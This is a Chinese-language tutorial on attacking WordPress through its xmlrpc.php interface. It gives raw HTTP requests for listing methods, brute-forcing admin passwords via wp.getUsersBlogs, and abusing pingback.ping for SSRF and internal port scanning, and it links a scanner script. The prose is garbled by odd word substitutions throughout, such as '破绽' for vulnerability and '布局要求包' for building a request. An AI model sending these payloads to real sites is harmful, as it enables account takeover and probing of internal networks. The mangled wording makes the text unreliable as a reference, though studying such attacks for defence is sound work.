WordPress采取了XML-RPC接口.并且通过内置函数WordPress API实现了该接口内容。
以是,你可要通过客户端来管理Wordpress。
通过利用WordPress XML-RPC, 你可以利用业界盛行博客客户端Weblog Clients来发布你的WordPress日志和页面。
同时,XML-RPC 也可利用extended by WordPress Plugins插件来自定义你的规则。

0X01 激活XML-RPC

从3.5版本开始,XML-RPC功能默认开启。
早些版本,可通过如下方法激活:Settings > Writing > Remote Publishing and check the checkbox.

路径:http://example.com/wordpress/xmlrpc.php

xmlrpcphpWordPress xmlrpcphp 破绽应用 Node.js

image.png

0x02 查看系统许可的方法

POST /wordpress/xmlrpc.php HTTP/1.1Host: www.example.comContent-Length: 99<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>

image.png

0x03 账号爆破

一样平常情形下,wordpress的管理后台都会设置账号登录失落败次数限定,因此,可以通过xmlprc.php接口来进行爆破。
常日会利用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs这个方法来进行爆破,也可以利用其他的方法。
布局要求包:

POST /wordpress/xmlrpc.php HTTP/1.1Host: www.example.comContent-Length: 99<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>password</value></param></params></methodCall>

image.png

爆破成功会返回博客的内容:

image.png

0x03 SSRF

WordPress 版本< 3.5.1通过Pingback可以实现的做事器端要求假造 (Server-side request forgery,SSRF)和远程端口扫描。
布局要求包:

POST /wordpress/xmlrpc.php HTTP/1.1Host: www.example.comContent-Length: 99<methodCall><methodName>pingback.ping</methodName><params><param><value><string>要探测的ip和端口:http://127.0.0.1:80</string></value></param><param><value><string>网站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string></value></param></params></methodCall>

IP和端口存在,返回包中的<value><int>中的值大于0:

image.png

利用脚本:https://github.com/FireFart/WordpressPingbackPortScanner

0x04 读取文件:

image.png

image.png

0x99 参考:

https://codex.wordpress.org/zh-cn:XML-RPC_Supporthttp://xmlrpc.com/https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html